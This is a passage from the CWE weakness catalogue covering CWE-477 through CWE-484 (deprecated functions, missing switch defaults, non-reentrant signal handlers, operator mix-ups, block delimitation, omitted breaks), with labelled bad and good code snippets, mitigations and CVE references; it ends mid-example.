CVE-2002-0401	Network monitor allows remote attackers to cause a denial of service (crash) or execute arbitrary code via malformed packets that cause a NULL pointer dereference. *https://www.cve.org/CVERecord?id=CVE-2002-0401*
CVE-2001-1559	Chain: System call returns wrong value (CWE-393), leading to a resultant NULL dereference (CWE-476). *https://www.cve.org/CVERecord?id=CVE-2001-1559*

Weakness ID : 477
Structure : Simple
Abstraction : Base

Description

The code uses deprecated or obsolete functions, which suggests that the code has not been actively reviewed or maintained.

Extended Description

As programming languages evolve, functions occasionally become obsolete due to:

- Advances in the language
- Improved understanding of how operations should be performed effectively and securely
- Changes in the conventions that govern certain operations

Functions that are removed are usually replaced by newer counterparts that perform the same task in some different and hopefully improved way.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Refer to the documentation for the obsolete function in order to determine why it is deprecated or obsolete and to learn about alternative ways to achieve the same functionality.

Phase: Requirements

Consider seriously the security implications of using an obsolete function. Consider using alternate functions.

Demonstrative Examples

Example 1:

The following code uses the deprecated function getpw() to verify that a plaintext password matches a user's encrypted password. If the password is valid, the function sets result to 1; otherwise it is set to 0.

Example Language: C *(Bad)*

```
...
getpw(uid, pwdline);
for (i=0; i<3; i++){
   cryptpw=strtok(pwdline, ":");
   pwdline=0;
}
result = strcmp(crypt(plainpw,cryptpw), cryptpw) == 0;
...
```

Although the code often behaves correctly, using the getpw() function can be problematic from a security standpoint, because it can overflow the buffer passed to its second parameter. Because of this vulnerability, getpw() has been supplanted by getpwuid(), which performs the same lookup as getpw() but returns a pointer to a statically-allocated structure to mitigate the risk. Not all functions are deprecated or replaced because they pose a security risk. However, the presence of an obsolete function often indicates that the surrounding code has been neglected and may be in a state of disrepair. Software security has not been a priority, or even a consideration, for very long. If the program uses deprecated or obsolete functions, it raises the probability that there are security problems lurking nearby.

Example 2:

In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a null pointer exception when it attempts to call the "Trim()" method.

Example Language: Java *(Bad)*

```
String cmd = null;
...
cmd = Environment.GetEnvironmentVariable("cmd");
cmd = cmd.Trim();
```

Example 3:

The following code constructs a string object from an array of bytes and a value that specifies the top 8 bits of each 16-bit Unicode character.

Example Language: Java *(Bad)*

```
...
String name = new String(nameBytes, highByte);
...
```

In this example, the constructor may not correctly convert bytes to characters depending upon which charset is used to encode the string represented by nameBytes. Due to the evolution of the charsets used to encode strings, this constructor was deprecated and replaced by a constructor that accepts as one of its parameters the name of the charset used to encode the bytes for conversion.

CWE-478: Missing Default Case in Multiple Condition Expression

Weakness ID : 478
Structure : Simple
Abstraction : Base

Description

The code does not have a default case in an expression with multiple conditions, such as a switch statement.

Extended Description

If a multiple-condition expression (such as a switch in C) omits the default case but does not consider or handle all possible values that could occur, then this might lead to complex logical errors and resultant weaknesses. Because of this, further decisions are made based on poor information, and cascading failure results. This cascading failure may result in any number of security issues, and constitutes a significant failure in the system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context Alter Execution Logic *Depending on the logical circumstances involved, any consequences may result: e.g., issues of confidentiality, authentication, authorization, availability, integrity, accountability, or non-repudiation.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Ensure that there are no cases unaccounted for when adjusting program flow or values based on the value of a given variable. In the case of switch style statements, the very simple act of creating a default case can, if done correctly, mitigate this situation. Often however, the default case is used simply to represent an assumed option, as opposed to working as a check for invalid input. This is poor practice and in some cases is as bad as omitting a default case entirely.

Demonstrative Examples

Example 1:

The following does not properly check the return code in the case where the security_check function returns a -1 value when an error occurs. If an attacker can supply data that will invoke an error, the attacker can bypass the security check:

Example Language: C *(Bad)*

```
#define FAILED 0
#define PASSED 1
int result;
...
result = security_check(data);
switch (result) {
   case FAILED:
      printf("Security check failed!\n");
      exit(-1);
      //Break never reached because of exit()
      break;
   case PASSED:
      printf("Security check passed.\n");
      break;
}
// program execution continues...
...
```

Instead a default label should be used for unaccounted conditions:

Example Language: C *(Good)*

```
#define FAILED 0
#define PASSED 1
int result;
...
result = security_check(data);
switch (result) {
   case FAILED:
      printf("Security check failed!\n");
      exit(-1);
      //Break never reached because of exit()
      break;
   case PASSED:
      printf("Security check passed.\n");
      break;
   default:
      printf("Unknown error (%d), exiting...\n",result);
      exit(-1);
}
```

This label is used because the assumption cannot be made that all possible cases are accounted for. A good practice is to reserve the default case for error handling.

Example 2:

In the following Java example the method getInterestRate retrieves the interest rate for the number of points for a mortgage. The number of points is provided within the input parameter and a switch statement will set the interest rate value to be returned based on the number of points.

Example Language: Java *(Bad)*

```
public static final String INTEREST_RATE_AT_ZERO_POINTS = "5.00";
public static final String INTEREST_RATE_AT_ONE_POINTS = "4.75";
public static final String INTEREST_RATE_AT_TWO_POINTS = "4.50";
...
public BigDecimal getInterestRate(int points) {
   BigDecimal result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
   switch (points) {
      case 0:
         result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
         break;
      case 1:
         result = new BigDecimal(INTEREST_RATE_AT_ONE_POINTS);
         break;
      case 2:
         result = new BigDecimal(INTEREST_RATE_AT_TWO_POINTS);
         break;
   }
   return result;
}
```

However, this code assumes that the value of the points input parameter will always be 0, 1 or 2 and does not check for other incorrect values passed to the method. This can be easily accomplished by providing a default label in the switch statement that outputs an error message indicating an invalid value for the points input parameter and returning a null value.

Example Language: Java *(Good)*

```
public static final String INTEREST_RATE_AT_ZERO_POINTS = "5.00";
public static final String INTEREST_RATE_AT_ONE_POINTS = "4.75";
public static final String INTEREST_RATE_AT_TWO_POINTS = "4.50";
...
public BigDecimal getInterestRate(int points) {
   BigDecimal result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
   switch (points) {
```

```
      case 0:
        result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
        break;
      case 1:
        result = new BigDecimal(INTEREST_RATE_AT_ONE_POINTS);
        break;
      case 2:
        result = new BigDecimal(INTEREST_RATE_AT_TWO_POINTS);
        break;
      default:
        System.err.println("Invalid value for points, must be 0, 1 or 2");
        System.err.println("Returning null value for interest rate");
        result = null;
    }
    return result;
}
```

Example 3:

In the following Python example the match-case statements (available in Python version 3.10 and later) perform actions based on the result of the process_data() function. The expected return is either 0 or 1. However, if an unexpected result (e.g., -1 or 2) is obtained then no actions will be taken potentially leading to an unexpected program state.

Example Language: Python *(Bad)*

```
result = process_data(data)
match result:
    case 0:
        print("Properly handle zero case.")
    case 1:
        print("Properly handle one case.")
# program execution continues...
```

The recommended approach is to add a default case that captures any unexpected result conditions, regardless of how improbable these unexpected conditions might be, and properly handles them.

Example Language: Python *(Good)*

```
result = process_data(data)
match result:
    case 0:
        print("Properly handle zero case.")
    case 1:
        print("Properly handle one case.")
    case _:
        print("Properly handle unexpected condition.")
# program execution continues...
```

Example 4:

In the following JavaScript example the switch-case statements (available in JavaScript version 1.2 and later) are used to process a given step based on the result of a calcuation involving two inputs. The expected return is either 1, 2, or 3. However, if an unexpected result (e.g., 4) is obtained then no action will be taken potentially leading to an unexpected program state.

Example Language: JavaScript *(Bad)*

```
let step = input1 + input2;
switch(step) {
    case 1:
        alert("Process step 1.");
        break;
    case 2:
```

```
    alert("Process step 2.");
    break;
  case 3:
    alert("Process step 3.");
    break;
}
// program execution continues...
```

The recommended approach is to add a default case that captures any unexpected result conditions and properly handles them.

Example Language: JavaScript *(Good)*

```
let step = input1 + input2;
switch(step) {
  case 1:
    alert("Process step 1.");
    break;
  case 2:
    alert("Process step 2.");
    break;
  case 3:
    alert("Process step 3.");
    break;
  default:
    alert("Unexpected step encountered.");
}
// program execution continues...
```

Example 5:

The Finite State Machine (FSM) shown in the "bad" code snippet below assigns the output ("out") based on the value of state, which is determined based on the user provided input ("user_input").

Example Language: Verilog *(Bad)*

```
module fsm_1(out, user_input, clk, rst_n);
input [2:0] user_input;
input clk, rst_n;
output reg [2:0] out;
reg [1:0] state;
always @ (posedge clk or negedge rst_n )
  begin
    if (!rst_n)
      state = 3'h0;
    else
    case (user_input)
      3'h0:
      3'h1:
      3'h2:
      3'h3: state = 2'h3;
      3'h4: state = 2'h2;
      3'h5: state = 2'h1;
    endcase
  end
  out <= {1'h1, state};
endmodule
```

The case statement does not include a default to handle the scenario when the user provides inputs of 3'h6 and 3'h7. Those inputs push the system to an undefined state and might cause a crash (denial of service) or any other unanticipated outcome.

Adding a default statement to handle undefined inputs mitigates this issue. This is shown in the "Good" code snippet below. The default statement is in bold.

Example Language: Verilog *(Good)*

```
case (user_input)
   3'h0:
   3'h1:
   3'h2:
   3'h3: state = 2'h3;
   3'h4: state = 2'h2;
   3'h5: state = 2'h1;
   default: state = 2'h0;
endcase
```

CWE-479: Signal Handler Use of a Non-reentrant Function

Weakness ID : 479
Structure : Simple
Abstraction : Variant

Description

The product defines a signal handler that calls a non-reentrant function.

Extended Description

Non-reentrant functions are functions that cannot safely be called, interrupted, and then recalled before the first call has finished without resulting in memory corruption. This can lead to an unexpected system state and unpredictable results with a variety of potential consequences depending on context, including denial of service and code execution.

Many functions are not reentrant, but some of them can result in the corruption of memory if they are used in a signal handler. The function call syslog() is an example of this. In order to perform its functionality, it allocates a small amount of memory as "scratch space." If syslog() is suspended by a signal call and the signal handler calls syslog(), the memory used by both of these functions enters an undefined, and possibly, exploitable state. Implementations of malloc() and free() manage metadata in global structures in order to track which memory is allocated versus which

memory is available, but they are non-reentrant. Simultaneous calls to these functions can cause corruption of the metadata.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	663	Use of a Non-reentrant Function in a Concurrent Context	1464
ChildOf	V	828	Signal Handler with Functionality that is not Asynchronous-Safe	1750
CanPrecede	B	123	Write-what-where Condition	329

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *It may be possible to execute arbitrary code through the use of a write-what-where condition.*	
Integrity	Modify Memory Modify Application Data *Signal race conditions often result in data corruption.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Requirements

Require languages or libraries that provide reentrant functionality, or otherwise make it easier to avoid this weakness.

Phase: Architecture and Design

Design signal handlers to only set flags rather than perform complex functionality.

Phase: Implementation

Ensure that non-reentrant functions are not found in signal handlers.

Phase: Implementation

Use sanity checks to reduce the timing window for exploitation of race conditions. This is only a partial solution, since many attacks might fail, but other attacks still might work within the narrower window, even accidentally.

Effectiveness = Defense in Depth

Demonstrative Examples

Example 1:

In this example, a signal handler uses syslog() to log a message:

Example Language: C *(Bad)*

```
char *message;
void sh(int dummy) {
   syslog(LOG_NOTICE,"%s\n",message);
   sleep(10);
   exit(0);
}
int main(int argc,char* argv[]) {
   ...
   signal(SIGHUP,sh);
   signal(SIGTERM,sh);
   sleep(10);
   exit(0);
}
```

If the execution of the first call to the signal handler is suspended after invoking syslog(), and the signal handler is called a second time, the memory allocated by syslog() enters an undefined, and possibly, exploitable state.

Observed Examples

Reference	Description
CVE-2005-0893	signal handler calls function that ultimately uses malloc() *https://www.cve.org/CVERecord?id=CVE-2005-0893*
CVE-2004-2259	SIGCHLD signal to FTP server can cause crash under heavy load while executing non-reentrant functions like malloc/free. *https://www.cve.org/CVERecord?id=CVE-2004-2259*

CWE-480: Use of Incorrect Operator

Weakness ID : 480
Structure : Simple
Abstraction : Base

Description

The product accidentally uses the wrong operator, which changes the logic in security-relevant ways.

Extended Description

These types of errors are generally the result of a typo by the programmer.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : C *(Prevalence = Sometimes)*

Language : C++ *(Prevalence = Sometimes)*

Language : Perl *(Prevalence = Sometimes)*

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic *This weakness can cause unintended logic to be executed and other unexpected application behavior.*	

Detection Methods

Automated Static Analysis

This weakness can be found easily using static analysis. However in some cases an operator might appear to be incorrect, but is actually correct and reflects unusual logic within the program.

Manual Static Analysis

This weakness can be found easily using static analysis. However in some cases an operator might appear to be incorrect, but is actually correct and reflects unusual logic within the program.

Demonstrative Examples

Example 1:

The following C/C++ and C# examples attempt to validate an int input parameter against the integer value 100.

Example Language: C *(Bad)*

```
int isValid(int value) {
   if (value=100) {
      printf("Value is valid\n");
      return(1);
   }
   printf("Value is not valid\n");
   return(0);
}
```

Example Language: C# *(Bad)*

```
bool isValid(int value) {
   if (value=100) {
      Console.WriteLine("Value is valid.");
      return true;
   }
   Console.WriteLine("Value is not valid.");
   return false;
}
```

However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". The result of using the assignment operator instead of the comparison operator causes the int variable to be reassigned locally and the expression in the if statement will always evaluate to the value on the right hand side of the expression. This will result in the input value not being properly validated, which can cause unexpected results.

Example 2:

The following C/C++ example shows a simple implementation of a stack that includes methods for adding and removing integer values from the stack. The example uses pointers to add and remove integer values to the stack array variable.

Example Language: C *(Bad)*

```
#define SIZE 50
```

```
int *tos, *p1, stack[SIZE];
void push(int i) {
   p1++;
   if(p1==(tos+SIZE)) {
      // Print stack overflow error message and exit
   }
   *p1 == i;
}
int pop(void) {
   if(p1==tos) {
      // Print stack underflow error message and exit
   }
   p1--;
   return *(p1+1);
}
int main(int argc, char *argv[]) {
   // initialize tos and p1 to point to the top of stack
   tos = stack;
   p1 = stack;
   // code to add and remove items from stack
   ...
   return 0;
}
```

The push method includes an expression to assign the integer value to the location in the stack pointed to by the pointer variable.

However, this expression uses the comparison operator "==" rather than the assignment operator "=". The result of using the comparison operator instead of the assignment operator causes erroneous values to be entered into the stack and can cause unexpected results.

Example 3:

The example code below is taken from the CVA6 processor core of the HACK@DAC'21 buggy OpenPiton SoC. Debug access allows users to access internal hardware registers that are otherwise not exposed for user access or restricted access through access control protocols. Hence, requests to enter debug mode are checked and authorized only if the processor has sufficient privileges. In addition, debug accesses are also locked behind password checkers. Thus, the processor enters debug mode only when the privilege level requirement is met, and the correct debug password is provided.

The following code [REF-1377] illustrates an instance of a vulnerable implementation of debug mode. The core correctly checks if the debug requests have sufficient privileges and enables the debug_mode_d and debug_mode_q signals. It also correctly checks for debug password and enables umode_i signal.

Example Language: Verilog *(Bad)*

```
module csr_regfile #(
...
   // check that we actually want to enter debug depending on the privilege level we are currently in
   unique case (priv_lvl_o)
      riscv::PRIV_LVL_M: begin
         debug_mode_d = dcsr_q.ebreakm;
...
      riscv::PRIV_LVL_U: begin
         debug_mode_d = dcsr_q.ebreaku;
...
   assign priv_lvl_o = (debug_mode_q || umode_i) ? riscv::PRIV_LVL_M : priv_lvl_q;
...
   debug_mode_q <= debug_mode_d;
...
```

However, it grants debug access and changes the privilege level, priv_lvl_o, even when one of the two checks is satisfied and the other is not. Because of this, debug access can be granted

by simply requesting with sufficient privileges (i.e., debug_mode_q is enabled) and failing the password check (i.e., umode_i is disabled). This allows an attacker to bypass the debug password checking and gain debug access to the core, compromising the security of the processor.

A fix to this issue is to only change the privilege level of the processor when both checks are satisfied, i.e., the request has enough privileges (i.e., debug_mode_q is enabled) and the password checking is successful (i.e., umode_i is enabled) [REF-1378].

Example Language: Verilog *(Good)*

```
module csr_regfile #(
...
   // check that we actually want to enter debug depending on the privilege level we are currently in
   unique case (priv_lvl_o)
      riscv::PRIV_LVL_M: begin
         debug_mode_d = dcsr_q.ebreakm;
...
      riscv::PRIV_LVL_U: begin
         debug_mode_d = dcsr_q.ebreaku;
...
   assign priv_lvl_o = (debug_mode_q && umode_i) ? riscv::PRIV_LVL_M : priv_lvl_q;
...
   debug_mode_q <= debug_mode_d;
...
```

Observed Examples

Reference	Description
CVE-2022-3979	Chain: data visualization program written in PHP uses the "!=" operator instead of the type-strict "!==" operator (CWE-480) when validating hash values, potentially leading to an incorrect type conversion (CWE-704) *https://www.cve.org/CVERecord?id=CVE-2022-3979*
CVE-2021-3116	Chain: Python-based HTTP Proxy server uses the wrong boolean operators (CWE-480) causing an incorrect comparison (CWE-697) that identifies an authN failure if all three conditions are met instead of only one, allowing bypass of the proxy authentication (CWE-1390) *https://www.cve.org/CVERecord?id=CVE-2021-3116*

CWE-481: Assigning instead of Comparing

Weakness ID : 481
Structure : Simple
Abstraction : Variant

Description

The code uses an operator for assignment when the intention was to perform a comparison.

Extended Description

In many languages the compare statement is very close in appearance to the assignment statement and are often confused. This bug is generally the result of a typo and usually causes obvious problems with program execution. If the comparison is in an if statement, the if statement will usually evaluate the value of the right-hand side of the predicate.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	480	Use of Incorrect Operator	1160
CanPrecede	P	697	Incorrect Comparison	1542

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Testing

Many IDEs and static analysis products will detect this problem.

Phase: Implementation

Place constants on the left. If one attempts to assign a constant with a variable, the compiler will produce an error.

Demonstrative Examples

Example 1:

The following C/C++ and C# examples attempt to validate an int input parameter against the integer value 100.

Example Language: C *(Bad)*

```
int isValid(int value) {
   if (value=100) {
      printf("Value is valid\n");
      return(1);
   }
   printf("Value is not valid\n");
   return(0);
}
```

Example Language: C# *(Bad)*

```
bool isValid(int value) {
   if (value=100) {
      Console.WriteLine("Value is valid.");
      return true;
   }
   Console.WriteLine("Value is not valid.");
   return false;
}
```

However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". The result of using the assignment operator instead of the comparison operator causes the int variable to be reassigned locally and the expression in the if statement will always evaluate to the value on the right hand side of the expression. This will result in the input value not being properly validated, which can cause unexpected results.

Example 2:

In this example, we show how assigning instead of comparing can impact code when values are being passed by reference instead of by value. Consider a scenario in which a string is being processed from user input. Assume the string has already been formatted such that different user inputs are concatenated with the colon character. When the processString function is called, the test for the colon character will result in an insertion of the colon character instead, adding new input separators. Since the string was passed by reference, the data sentinels will be inserted in the original string (CWE-464), and further processing of the inputs will be altered, possibly malformed..

Example Language: C *(Bad)*

```
void processString (char *str) {
   int i;
   for(i=0; i<strlen(str); i++) {
      if (isalnum(str[i])){
         processChar(str[i]);
      }
      else if (str[i] = ':') {
         movingToNewInput();}
      }
   }
}
```

Example 3:

The following Java example attempts to perform some processing based on the boolean value of the input parameter. However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". As with the previous examples, the variable will be reassigned locally and the expression in the if statement will evaluate to true and unintended processing may occur.

Example Language: Java *(Bad)*

```
public void checkValid(boolean isValid) {
   if (isValid = true) {
      System.out.println("Performing processing");
      doSomethingImportant();
   }
   else {
      System.out.println("Not Valid, do not perform processing");
      return;
   }
}
```

While most Java compilers will catch the use of an assignment operator when a comparison operator is required, for boolean variables in Java the use of the assignment operator within an expression is allowed. If possible, try to avoid using comparison operators on boolean variables in java. Instead, let the values of the variables stand for themselves, as in the following code.

Example Language: Java *(Good)*

```
public void checkValid(boolean isValid) {
   if (isValid) {
      System.out.println("Performing processing");
      doSomethingImportant();
   }
   else {
      System.out.println("Not Valid, do not perform processing");
      return;
   }
}
```

Alternatively, to test for false, just use the boolean NOT operator.

Example Language: Java *(Good)*

```
public void checkValid(boolean isValid) {
   if (!isValid) {
      System.out.println("Not Valid, do not perform processing");
      return;
   }
   System.out.println("Performing processing");
   doSomethingImportant();
}
```

Example 4:

The following example demonstrates the weakness.

Example Language: C *(Bad)*

```
void called(int foo){
   if (foo=1) printf("foo\n");
}
int main() {
   called(2);
   return 0;
}
```

CWE-482: Comparing instead of Assigning

Weakness ID : 482
Structure : Simple
Abstraction : Variant

Description

The code uses an operator for comparison when the intention was to perform an assignment.

Extended Description

In many languages, the compare statement is very close in appearance to the assignment statement; they are often confused.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	480	Use of Incorrect Operator	1160

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Availability Integrity	Unexpected State *The assignment will not take place, which should cause obvious program execution problems.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Testing

Many IDEs and static analysis products will detect this problem.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: Java *(Bad)*

```
void called(int foo) {
   foo==1;
   if (foo==1) System.out.println("foo\n");
}
int main() {
   called(2);
   return 0;
```

```
}
```

Example 2:

The following C/C++ example shows a simple implementation of a stack that includes methods for adding and removing integer values from the stack. The example uses pointers to add and remove integer values to the stack array variable.

Example Language: C *(Bad)*

```
#define SIZE 50
int *tos, *p1, stack[SIZE];
void push(int i) {
   p1++;
   if(p1==(tos+SIZE)) {
      // Print stack overflow error message and exit
   }
   *p1 == i;
}
int pop(void) {
   if(p1==tos) {
      // Print stack underflow error message and exit
   }
   p1--;
   return *(p1+1);
}
int main(int argc, char *argv[]) {
   // initialize tos and p1 to point to the top of stack
   tos = stack;
   p1 = stack;
   // code to add and remove items from stack
   ...
   return 0;
}
```

The push method includes an expression to assign the integer value to the location in the stack pointed to by the pointer variable.

However, this expression uses the comparison operator "==" rather than the assignment operator "=". The result of using the comparison operator instead of the assignment operator causes erroneous values to be entered into the stack and can cause unexpected results.

CWE-483: Incorrect Block Delimitation

Weakness ID : 483
Structure : Simple
Abstraction : Base

Description

The code does not explicitly delimit a block that is intended to contain 2 or more statements, creating a logic error.

Extended Description

In some languages, braces (or other delimiters) are optional for blocks. When the delimiter is omitted, it is possible to insert a logic error in which a statement is thought to be in a block but is not. In some cases, the logic error can have security implications.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	670	Always-Incorrect Control Flow Implementation	1487

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	2364

Weakness Ordinalities

Primary :

Indirect :

Applicable Platforms

Language : C *(Prevalence = Sometimes)*

Language : C++ *(Prevalence = Sometimes)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Alter Execution Logic *This is a general logic error which will often lead to obviously-incorrect behaviors that are quickly noticed and fixed. In lightly tested or untested code, this error may be introduced it into a production environment and provide additional attack vectors by creating a control flow path leading to an unexpected state in the application. The*	

Scope	Impact	Likelihood
	consequences will depend on the types of behaviors that are being incorrectly executed.	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Always use explicit block delimitation and use static-analysis technologies to enforce this practice.

Demonstrative Examples

Example 1:

In this example, the programmer has indented the statements to call Do_X() and Do_Y(), as if the intention is that these functions are only called when the condition is true. However, because there are no braces to signify the block, Do_Y() will always be executed, even if the condition is false.

Example Language: C *(Bad)*

```
if (condition==true)
  Do_X();
  Do_Y();
```

This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.

Example 2:

In this example, the programmer has indented the Do_Y() statement as if the intention is that the function should be associated with the preceding conditional and should only be called when the condition is true. However, because Do_X() was called on the same line as the conditional and there are no braces to signify the block, Do_Y() will always be executed, even if the condition is false.

Example Language: C *(Bad)*

```
if (condition==true) Do_X();
  Do_Y();
```

This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.

Observed Examples

Reference	Description
CVE-2014-1266	incorrect indentation of "goto" statement makes it more difficult to detect an incorrect goto (Apple's "goto fail") *https://www.cve.org/CVERecord?id=CVE-2014-1266*

CWE-484: Omitted Break Statement in Switch

Weakness ID : 484
Structure : Simple
Abstraction : Base

Description

The product omits a break statement within a switch or similar construct, causing code associated with multiple conditions to execute. This can cause problems when the programmer only intended to execute code associated with one condition.

Extended Description

This can lead to critical code executing in situations where it should not.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	670	Always-Incorrect Control Flow Implementation	1487
ChildOf	P	710	Improper Adherence to Coding Standards	1561

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	2364

Weakness Ordinalities

Primary :

Indirect :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Language : PHP *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic *This weakness can cause unintended logic to be executed and other unexpected application behavior.*	

Detection Methods

White Box

Omission of a break statement might be intentional, in order to support fallthrough. Automated detection methods might therefore be erroneous. Semantic understanding of expected product behavior is required to interpret whether the code is correct.

Black Box

Since this weakness is associated with a code construct, it would be indistinguishable from other errors that produce the same behavior.

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Omitting a break statement so that one may fall through is often indistinguishable from an error, and therefore should be avoided. If you need to use fall-through capabilities, make sure that you have clearly documented this within the switch statement, and ensure that you have examined all the logical possibilities.

Phase: Implementation

The functionality of omitting a break statement could be clarified with an if statement. This method is much safer.

Demonstrative Examples

Example 1:

In both of these examples, a message is printed based on the month passed into the function:

Example Language: Java *(Bad)*

```
public void printMessage(int month){
   switch (month) {
      case 1: print("January");
      case 2: print("February");
      case 3: print("March");
      case 4: print("April");
```

```
      case 5: print("May");
      case 6: print("June");
      case 7: print("July");
      case 8: print("August");
      case 9: print("September");
      case 10: print("October");
      case 11: print("November");
      case 12: print("December");
